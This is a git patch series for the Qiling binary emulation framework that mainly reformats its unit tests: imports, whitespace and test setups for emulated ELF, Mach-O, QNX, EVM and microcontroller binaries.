ql.os.fd[ftrunc_fd].name.split('/')[-1] - - # if pathname == "test_syscall_ftruncate.txt": - # print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) - # target = True - - # syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.stat(real_path).st_size == 0x10 - # os.remove(real_path) - - # ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_posix_syscall"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) - # ql.os.set_syscall(0x3, test_syscall_read) - # ql.os.set_syscall(0x4, test_syscall_write) - # ql.os.set_syscall(0x5, test_syscall_open) - # ql.os.set_syscall(0xa, test_syscall_unlink) - # ql.os.set_syscall(0x5c, test_syscall_truncate) - # ql.os.set_syscall(0x5d, test_syscall_ftruncate) - # ql.run() - # del ql - + # def test_syscall_read(ql, read_fd, read_buf, read_count, *args): + # target = False + # pathname = ql.os.fd[read_fd].name.split('/')[-1] + # + # if pathname == "test_syscall_read.txt": + # print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) + # target = True + # + # syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) + # + # if target: + # real_path = ql.os.fd[read_fd].name + # with open(real_path) as fd: + # assert fd.read() == ql.mem.read(read_buf, read_count).decode() + # os.remove(real_path) + # + # def test_syscall_write(ql, write_fd, write_buf, write_count, *args): + # target = False + # pathname = ql.os.fd[write_fd].name.split('/')[-1] + # + # if pathname == "test_syscall_write.txt": + # print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) + # target = True + # + # syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) + # + # if target: + # real_path = ql.os.fd[write_fd].name + # with open(real_path) as fd: + # assert fd.read() == 'Hello testing\x00' + # os.remove(real_path) + # + # def test_syscall_open(ql, open_pathname, open_flags, open_mode, *args): + # target = False + # pathname = ql.os.utils.read_cstring(open_pathname) + # + # if pathname == "test_syscall_open.txt": + # print("test => open(%s, 0x%x, 0%o)" % (pathname, open_flags, open_mode)) + # target = True + # + # syscall.ql_syscall_open(ql, open_pathname, open_flags, open_mode, *args) + # + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.path.isfile(real_path) == True + # os.remove(real_path) + # + # def test_syscall_unlink(ql, unlink_pathname, *args): + # target = False + # pathname = ql.os.utils.read_cstring(unlink_pathname) + # + # if pathname == "test_syscall_unlink.txt": + # print("test => unlink(%s)" % (pathname)) + # target = True + # + # syscall.ql_syscall_unlink(ql, unlink_pathname, *args) + # + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.path.isfile(real_path) == False + # + # def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): + # target = False + # pathname = ql.os.utils.read_cstring(trunc_pathname) + # + # if pathname == "test_syscall_truncate.txt": + # print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) + # target = True + # + # syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) + # + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.stat(real_path).st_size == 0 + # os.remove(real_path) + # + # def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): + # target = False + # pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] + # + # if pathname == "test_syscall_ftruncate.txt": + # print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) + # target = True + # + # syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) + # + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.stat(real_path).st_size == 0x10 + # os.remove(real_path) + # + # ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_posix_syscall"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) + # ql.os.set_syscall(0x3, test_syscall_read) + # ql.os.set_syscall(0x4, test_syscall_write) + # ql.os.set_syscall(0x5, test_syscall_open) + # ql.os.set_syscall(0xa, test_syscall_unlink) + # ql.os.set_syscall(0x5c, test_syscall_truncate) + # ql.os.set_syscall(0x5d, test_syscall_ftruncate) + # ql.run() + # del ql def test_elf_linux_arm64(self): ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_hello"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEBUG) ql.run() del ql - - def test_elf_linux_arm64_static(self): + def test_elf_linux_arm64_static(self): ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_hello_static"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEFAULT) ql.run() del ql - def test_elf_linux_mips32eb_static(self): ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello_static"], "../examples/rootfs/mips32_linux") ql.run() del ql - def test_elf_linux_mips32eb(self): def random_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for x in range(size)) @@ -501,7 +494,6 @@ def random_generator(size=6, chars=string.ascii_uppercase + string.digits): del ql - def test_mips32eb_fake_urandom(self): class Fake_urandom(QlFsMappedObject): @@ -510,7 +502,7 @@ def read(self, size): def fstat(self): return -1 - + def close(self): return 0 @@ -534,7 +526,6 @@ def check_exit_code(ql, exit_code, *args, **kw): self.assertEqual(0, ql.exit_group_code) del ql - def test_elf_onEnter_mips32el(self): def my_puts_onenter(ql: Qiling): params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) @@ -553,7 +544,6 @@ def my_puts_onenter(ql: Qiling): del ql - def test_elf_linux_arm64_posix_syscall(self): def test_syscall_read(ql, read_fd, read_buf, read_count, *args): target = False @@ -561,7 +551,7 @@ def test_syscall_read(ql, read_fd, read_buf, read_count, *args): reg = ql.arch.regs.read("x0") print("reg : 0x%x" % reg) - ql.arch.regs.x0 = reg + ql.arch.regs.x0 = reg if pathname == "test_syscall_read.txt": print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) @@ -682,7 +672,6 @@ def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): ql.run() del ql - def test_elf_linux_mips32el(self): def random_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for x in range(size)) @@ -691,25 +680,23 @@ def random_generator(size=6, chars=string.ascii_uppercase + string.digits): ql.run() del ql - def test_elf_linux_mips32el_static(self): def random_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for x in range(size)) ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_hello_static", random_generator(random.randint(1,99))], "../examples/rootfs/mips32el_linux") ql.run() - del ql - + del ql def test_elf_linux_mips32el_posix_syscall(self): def test_syscall_read(ql, read_fd, read_buf, read_count, *args): target = False pathname = ql.os.fd[read_fd].name.split('/')[-1] - + reg = ql.arch.regs.read("v0") print("reg : 0x%x" % reg) - ql.arch.regs.v0 = reg - + ql.arch.regs.v0 = reg + if pathname == "test_syscall_read.txt": print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) target = True @@ -825,25 +812,23 @@ def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): ql.run() del ql - def test_elf_linux_powerpc(self): ql = Qiling(["../examples/rootfs/powerpc_linux/bin/powerpc_hello"], "../examples/rootfs/powerpc_linux", verbose=QL_VERBOSE.DEBUG) ql.run() del ql - def test_elf_linux_arm_custom_syscall(self): def my_syscall_write(ql, write_fd, write_buf, write_count, *args, **kw): regreturn = 0 buf = None mapaddr = ql.mem.map_anywhere(0x100000) ql.log.info("0x%x" % mapaddr) - + reg = ql.arch.regs.read("r0") print("reg : 0x%x" % reg) ql.arch.regs.r0 = reg - - + + try: buf = ql.mem.read(write_buf, write_count) ql.log.info("\n+++++++++\nmy write(%d,%x,%i) = %d\n+++++++++" % (write_fd, write_buf, write_count, regreturn)) @@ -860,13 +845,12 @@ def my_syscall_write(ql, write_fd, write_buf, write_count, *args, **kw): ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello"], "../examples/rootfs/arm_linux") ql.os.set_syscall(0x04, my_syscall_write) ql.run() - + self.assertEqual(1, self.set_syscall) - + del self.set_syscall del ql - def test_elf_linux_x86_crackme(self): def instruction_count(ql, address, size, user_data): user_data[0] += 1 @@ -925,10 +909,10 @@ def __init__(self): def read(self, size): return b'\x01' - + def fstat(self): return -1 - + def close(self): return 0 @@ -943,7 +927,7 @@ def check_exit_group_code(ql, exit_code, *args, **kw): ql.exit_group_code = exit_code def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code + ql.exit_code = exit_code ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) @@ -956,7 +940,6 @@ def check_exit_code(ql, exit_code, *args, **kw): self.assertEqual(last + 1, i) last = i del ql - def test_x86_fake_urandom(self): class Fake_urandom(QlFsMappedObject): @@ -966,7 +949,7 @@ def read(self, size): def fstat(self): return -1 - + def close(self): return 0 @@ -980,21 +963,20 @@ def check_exit_group_code(ql, exit_code, *args, **kw): ql.exit_group_code = exit_code def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code + ql.exit_code = exit_code ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) ql.run() self.assertEqual(0, ql.exit_code) - self.assertEqual(0, ql.exit_group_code) + self.assertEqual(0, ql.exit_group_code) del ql - def test_x8664_map_urandom(self): ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_fetch_urandom"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) ql.add_fs_mapper("/dev/urandom","/dev/urandom") - + ql.exit_code = 0 ql.exit_group_code = 0 @@ -1002,7 +984,7 @@ def check_exit_group_code(ql, exit_code, *args, **kw): ql.exit_group_code = exit_code def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code + ql.exit_code = exit_code ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) @@ -1014,7 +996,6 @@ def check_exit_code(ql, exit_code, *args, **kw): del ql - def test_x8664_symlink(self): ql = Qiling(["../examples/rootfs/x8664_linux_symlink/bin/x8664_hello"], "../examples/rootfs/x8664_linux_symlink", verbose=QL_VERBOSE.DEBUG) ql.run() @@ -1076,12 +1057,12 @@ def test_elf_linux_x8664_getdents(self): del ql - def test_elf_linux_armeb(self): + def test_elf_linux_armeb(self): ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEBUG) ql.run() del ql - def test_elf_linux_armeb_static(self): + def test_elf_linux_armeb_static(self): ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello_static"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEFAULT) ql.run() del ql @@ -1111,10 +1092,10 @@ def test_elf_linux_x86_getdents64(self): self.assertTrue("bin\n" in ql.os.stdout.read().decode("utf-8")) del ql - + def test_memory_search(self): ql = Qiling(code=b"\xCC", archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) - + ql.mem.map(0x1000, 0x1000) ql.mem.map(0x2000, 0x1000) ql.mem.map(0x3000, 0x1000) @@ -1149,7 +1130,7 @@ def test_memory_search(self): self.assertEqual([0x1000 + 11, 0x2000 + 11, 0x3000 + 43], ql.mem.search(re.compile(b"\x09\x53(\x0f|\x1a|\x04)[^\x0d]"))) del ql - + def test_elf_linux_x8664_path_traversion(self): ql = Qiling(["../examples/rootfs/x8664_linux/bin/path_traverse_static"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) diff --git a/tests/test_evm.py b/tests/test_evm.py index f7cc193bc..b17a7510a 100644 --- a/tests/test_evm.py +++ b/tests/test_evm.py @@ -1,8 +1,12 @@ #!/usr/bin/env python3 -import os, platform, sys, unittest +import os +import platform +import unittest +import sys sys.path.append("..") + from qiling import Qiling from qiling.const import QL_ARCH, QL_VERBOSE @@ -12,11 +16,11 @@ sys.exit(0) if platform.system() == "Darwin" and platform.machine() == "arm64": - sys.exit(0) + sys.exit(0) # python 3.10 has not been supported yet in the latest blake2b-py release -if sys.version_info >= (3,10): - sys.exit(0) +if sys.version_info >= (3, 10): + sys.exit(0) class Checklist: @@ -62,7 +66,7 @@ def check_balance(sender, destination): call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) msg2 = ql.arch.evm.create_message(sender, destination, call_data) return ql.run(code=msg2) - + result = check_balance(user1, c1) print('\n\nuser1 balance =', int(result.output.hex()[2:], 16)) ql.hook_del(h2) @@ -70,14 +74,14 @@ def check_balance(sender, destination): # SMART CONTRACT DEPENDENT - message3: transform 21 from user1 to user2 call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ ql.arch.evm.abi.convert(['uint256'], [21]) - msg1 = ql.arch.evm.create_message(user1, c1, call_data) + msg1 = ql.arch.evm.create_message(user1, c1, call_data) result = ql.run(code=msg1) print('\n\nis success =', int(result.output.hex()[2:], 16)) # message4: check balance of user1, should be MAX - 1 result = check_balance(user1, c1) print('\n\nuser1 balance =', hex(int(result.output.hex()[2:], 16))) - + self.assertEqual(hex(int(result.output.hex()[2:], 16)), '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff') self.assertTrue(testcheck.visited_hookaddr) self.assertTrue(testcheck.visited_hookcode) @@ -106,7 +110,7 @@ def check_balance(sender, destination): # # SMART CONTRACT DEPENDENT: transform from user1 to user2 call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe]) - msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) + msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) result = ql.run(code=msg1) if int(result.output.hex()[2:], 16) == 1: print('User1 transfered Token to User1') @@ -148,7 +152,7 @@ def test_abi_encoding(self): msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) result = ql.run(code=msg1) - + result_data = ql.arch.evm.abi.decode_params(['string'], result.output) self.assertEqual(call_param[0], result_data[0]) diff --git a/tests/test_macho.py b/tests/test_macho.py index ae766915c..d002209ee 100644 --- a/tests/test_macho.py +++ b/tests/test_macho.py @@ -1,15 +1,17 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, unittest +import unittest + +import sys sys.path.append("..") -from qiling import * -from qiling.exception import * +from qiling import Qiling from qiling.const import QL_VERBOSE + class MACHOTest(unittest.TestCase): def test_macho_macos_x8664(self): ql = Qiling(["../examples/rootfs/x8664_macos/bin/x8664_hello"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) @@ -19,5 +21,6 @@ def test_usercorn_x8664(self): ql = Qiling(["../examples/rootfs/x8664_macos/bin/x8664_hello_usercorn"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) ql.run() + if __name__ == "__main__": unittest.main() diff --git a/tests/test_mcu.py b/tests/test_mcu.py index 775700c21..14bf9c235 100644 --- a/tests/test_mcu.py +++ b/tests/test_mcu.py @@ -1,19 +1,21 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # +import unittest -import sys, unittest +import sys sys.path.append("..") from qiling.core import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f407, stm32f411, stm32f429 from qiling.extensions.mcu.stm32f1 import stm32f103 -from qiling.extensions.mcu.atmel import sam3x8e +from qiling.extensions.mcu.atmel import sam3x8e from qiling.extensions.mcu.gd32vf1 import gd32vf103 + class MCUTest(unittest.TestCase): def test_mcu_led_stm32f411(self): ql = Qiling(["../examples/rootfs/mcu/stm32f411/rand_blink.hex"], @@ -47,7 +49,7 @@ def create_qiling(): ql2.run(count=500) buf2 = ql2.hw.usart2.recv() print('[2] Received from usart: ', buf2) - + self.assertEqual(buf1 + buf2, b'Hello USART\n') del ql1, ql2 @@ -58,16 +60,16 @@ def test_mcu_usart_input_stm32f411(self): ql.hw.create('usart2') ql.hw.create('rcc') - + ql.run(count=1000) - + ql.hw.usart2.send(b'Hello\n') ql.run(count=30000) ql.hw.usart2.send(b'USART\n') ql.run(count=30000) ql.hw.usart2.send(b'Input\n') ql.run(count=30000) - + buf = ql.hw.usart2.recv() self.assertEqual(buf, b'8b1a9953c4611296a827abf8c47804d7\n2daeb613094400290a24fe5086c68f06\n324118a6721dd6b8a9b9f4e327df2bf5\n') @@ -180,10 +182,10 @@ def test_mcu_led_rust_stm32f411(self): count = 0 def counter(): nonlocal count - count += 1 + count += 1 ql.hw.create('gpioa').hook_set(5, counter) - ql.hw.create('rcc') + ql.hw.create('rcc') ql.run(count=1000) self.assertTrue(count >= 5) @@ -211,9 +213,9 @@ def crack(passwd): ql.hw.usart1.send(passwd.encode() + b'\r') ql.hw.systick.set_ratio(400) - + ql.run(count=400000, end=0x8003225) - + return ql.arch.effective_pc == 0x8003225 self.assertTrue(crack('618618')) @@ -266,7 +268,7 @@ def test_mcu_i2c_interrupt_stm32f411(self): ql.hw.create('i2c1') ql.hw.create('rcc').watch() ql.hw.create('gpioa') - ql.hw.create('gpiob') + ql.hw.create('gpiob') class LCD: address = 0x3f << 1 @@ -293,7 +295,6 @@ def skip_delay(ql): del ql - def test_mcu_blink_gd32vf103(self): ql = Qiling(['../examples/rootfs/mcu/gd32vf103/blink.hex'], archtype=QL_ARCH.RISCV, ostype=QL_OS.MCU, env=gd32vf103, verbose=QL_VERBOSE.DEFAULT) @@ -317,7 +318,7 @@ def counter(): ql.hw.gpioc.hook_set(13, counter) ql.run(count=20000) self.assertTrue(count > 350) - + del ql def test_mcu_crc_stm32f407(self): @@ -370,10 +371,10 @@ def gpio_set_cb(pin): ql.hw.gpioa.hook_set(4, gpio_set_cb, '4') ql.run(count=400000) - + self.assertTrue((''.join(data)).find('1442413') != -1) self.assertTrue(ql.hw.usart1.recv()[:23] == b'SCTF{that1s___r1ghtflag') - + del ql def test_mcu_serial_sam3x8e(self): @@ -422,7 +423,7 @@ def test_mcu_hackme_stm32f429(self): self.assertEqual(ql.hw.usart2.recv(), b'Nice Hack!\n') self.assertEqual(ql.hw.usart3.recv(), b'Welcome to the world of Hacking!\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') - + def test_mcu_fastmode_stm32f429(self): ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f429, verbose=QL_VERBOSE.DEFAULT) diff --git a/tests/test_perf.py b/tests/test_perf.py index 4c2d8e7ab..f598be504 100644 --- a/tests/test_perf.py +++ b/tests/test_perf.py @@ -1,26 +1,19 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import cProfile -import pstats -import sys import inspect import os as pyos -sys.path.append("..") -from qiling import * - from test_elf import * from test_macho import * from test_shellcode import * perf_res_dir = "./perf_results/" +test_mapping = [] -test_mapping = [ - -] def populate_tests(): global test_mapping @@ -28,12 +21,16 @@ def populate_tests(): unit_tests = [ELFTest(), MACHOTest(), TestShellcode()] for ut in unit_tests: - ut_functions = inspect.getmembers(ut, predicate = inspect.ismethod) + ut_functions = inspect.getmembers(ut, predicate=inspect.ismethod) + for test_name, test_fn in ut_functions: - if not test_name.startswith("test_"): continue + if not test_name.startswith("test_"): + continue + outfile = perf_res_dir + test_name + ".perf" - test_mapping.append( (test_fn, outfile) ) - + test_mapping.append((test_fn, outfile)) + + def ql_profile(run_fn, outfile): pr = cProfile.Profile() pr.enable() @@ -42,6 +39,7 @@ def ql_profile(run_fn, outfile): pr.dump_stats(outfile) pr.print_stats() + def profile_all_functions(): if not pyos.path.isdir("perf_results"): pyos.mkdir("perf_results") @@ -54,5 +52,6 @@ def profile_all_functions(): except: pass + if __name__ == "__main__": - profile_all_functions() \ No newline at end of file + profile_all_functions() diff --git a/tests/test_peshellcode.py b/tests/test_peshellcode.py index bac350cdf..3d0618a94 100644 --- a/tests/test_peshellcode.py +++ b/tests/test_peshellcode.py @@ -1,11 +1,13 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, unittest +import unittest +import sys sys.path.append("..") + from qiling import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE @@ -33,13 +35,13 @@ POINTER_TEST = bytes.fromhex('1122334455667788') + class PEShellcodeTest(unittest.TestCase): def test_windowssc_x86(self): ql = Qiling(code=X86_WIN, rootfs=r'../examples/rootfs/x86_windows', archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, verbose=QL_VERBOSE.OFF) ql.run() del ql - def test_windowssc_x64(self): ql = Qiling(code=X8664_WIN, rootfs=r'../examples/rootfs/x8664_windows', archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, verbose=QL_VERBOSE.OFF) ql.run() diff --git a/tests/test_posix.py b/tests/test_posix.py index 3f24483c6..067bff84c 100644 --- a/tests/test_posix.py +++ b/tests/test_posix.py @@ -1,16 +1,13 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys,unittest +import unittest -sys.path.append("..") -from qiling import * -from qiling.exception import * from test_elf import * from test_riscv import * from test_qltool import * if __name__ == "__main__": - unittest.main() \ No newline at end of file + unittest.main() diff --git a/tests/test_qltool.py b/tests/test_qltool.py index 0640336b5..3168664b5 100644 --- a/tests/test_qltool.py +++ b/tests/test_qltool.py @@ -1,15 +1,13 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, subprocess, unittest - -sys.path.append("..") -from qiling import * -from qiling.exception import * - import os +import subprocess +import sys +import unittest + class Qltool_Test(unittest.TestCase): def test_qltool_exec_args(self): @@ -17,24 +15,23 @@ def test_qltool_exec_args(self): p = subprocess.Popen(create, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) for line in iter(p.stdout.readline, b''): self.stdout = line - + self.assertEqual(b'arg 2 test3\n', self.stdout) - def test_qltool_shellcode(self): create = [sys.executable, '../qltool', 'code', '--os','linux','--arch', 'x86', '--format', 'asm', '-f', '../examples/shellcodes/lin32_execve.asm'] try: subprocess.check_output(create,stderr=subprocess.STDOUT) - except subprocess.CalledProcessError as e: - raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) + except subprocess.CalledProcessError as e: + raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) def test_qltool_coverage(self): os.makedirs("./log_test", exist_ok=True) create = [sys.executable, '../qltool', 'run', '-f','../examples/rootfs/x8664_efi/bin/TcgPlatformSetupPolicy','--rootfs', '../examples/rootfs/x8664_efi','--coverage-format', 'drcov', '--coverage-file', 'log_test/TcgPlatformSetupPolicy'] try: subprocess.check_output(create, stderr=subprocess.STDOUT) - except subprocess.CalledProcessError as e: - raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) + except subprocess.CalledProcessError as e: + raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) def test_qltool_json(self): create = [sys.executable, '../qltool', 'run', '-f','../examples/rootfs/x86_linux/bin/x86_hello','--rootfs', '../examples/rootfs/x86_linux','--verbose', 'off', '--json'] diff --git a/tests/test_qnx.py b/tests/test_qnx.py index 0303c7fb3..21fa8a2e3 100644 --- a/tests/test_qnx.py +++ b/tests/test_qnx.py @@ -1,19 +1,21 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, unittest +import unittest +import sys sys.path.append("..") -from qiling import * + +from qiling import Qiling from qiling.exception import * -from qiling.const import QL_VERBOSE from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE from qiling.os.const import STRING + class QNXTest(unittest.TestCase): - + def test_arm_qnx_static(self): env = { "FOO": "bar" @@ -21,11 +23,9 @@ def test_arm_qnx_static(self): ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_static", "foo", "bar"], "../examples/rootfs/arm_qnx", env=env, verbose=QL_VERBOSE.DEBUG) ql.run() - def test_arm_qnx_sqrt(self): ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_sqrt"], "../examples/rootfs/arm_qnx", verbose=QL_VERBOSE.DEBUG) ql.run() - def test_set_api_arm_qnx_sqrt(self): self.set_api_puts_onenter = False @@ -76,5 +76,6 @@ def my_printf_onexit(ql: Qiling): del self.set_api_printf_onenter del self.set_api_printf_onexit + if __name__ == "__main__": unittest.main() diff --git a/tests/test_r2.py b/tests/test_r2.py index 06cdacbeb..4009c2f59 100644 --- a/tests/test_r2.py +++ b/tests/test_r2.py @@ -1,8 +1,10 @@ #!/usr/bin/env python3 -import sys, unittest +import unittest +import sys sys.path.append("..") + from qiling import Qiling from qiling.const import QL_ARCH, QL_VERBOSE @@ -13,7 +15,33 @@ else: test_r2 = True -EVM_CODE = bytes.fromhex("6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029") +EVM_CODE = bytes.fromhex(""" + 6060604052341561000f57600080fd5b60405160208061031c83398101604052 + 8080519060200190919050508060018190556000803373ffffffffffffffffff + ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff + ff16815260200190815260200160002081905550506102998061008360003960 + 00f300606060405260043610610057576000357c010000000000000000000000 + 0000000000000000000000000000000000900463ffffffff16806318160ddd14 + 61005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b + 341561006757600080fd5b61006f61012c565b60405180828152602001915050 + 60405180910390f35b341561009057600080fd5b6100bc600480803573ffffff + ffffffffffffffffffffffffffffffffff16906020019091905050610132565b + 6040518082815260200191505060405180910390f35b34156100dd57600080fd + 5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690 + 602001909190803590602001909190505061017a565b60405180821515151581 + 5260200191505060405180910390f35b60015481565b60008060008373ffffff + ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff + ffffffffffffff168152602001908152602001600020549050919050565b6000 + 80826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffff + ffffffffffffffffffffffffffffffffff168152602001908152602001600020 + 5403101515156101cb57600080fd5b816000803373ffffffffffffffffffffff + ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16 + 8152602001908152602001600020600082825403925050819055508160008085 + 73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff + ffffffffffffffffffffff168152602001908152602001600020600082825401 + 9250508190555060019050929150505600a165627a7a7230582098f1551a391a + 3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029 +""") @unittest.skipUnless(test_r2, 'libr is missing') diff --git a/tests/test_shellcode.py b/tests/test_shellcode.py index 4d3974153..9b2b4e054 100644 --- a/tests/test_shellcode.py +++ b/tests/test_shellcode.py @@ -3,10 +3,11 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys import unittest +import sys sys.path.append("..") + from qiling import Qiling from qiling.const import QL_ARCH, QL_OS, QL_INTERCEPT, QL_VERBOSE diff --git a/tests/test_windows_stdio.py b/tests/test_windows_stdio.py index 9050ec571..b3ae17b82 100644 --- a/tests/test_windows_stdio.py +++ b/tests/test_windows_stdio.py @@ -1,16 +1,18 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys from typing import Sequence +import sys sys.path.append("..") -from qiling import * + +from qiling import Qiling from qiling.const import QL_VERBOSE from qiling.extensions import pipe + def instruction_count(ql: Qiling, address: int, size: int, user_data): user_data[0] += 1 From a9233b5ad62e98ac0a354573e71099a4c1bdca7c Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 19 Jun 2023 11:40:31 +0300 Subject: [PATCH 091/103] Speed up ARM assembler and disassembler access --- qiling/arch/arm.py | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/qiling/arch/arm.py b/qiling/arch/arm.py index b290ee8e5..b065ebee7 100644 --- a/qiling/arch/arm.py +++ b/qiling/arch/arm.py @@ -3,7 +3,7 @@ 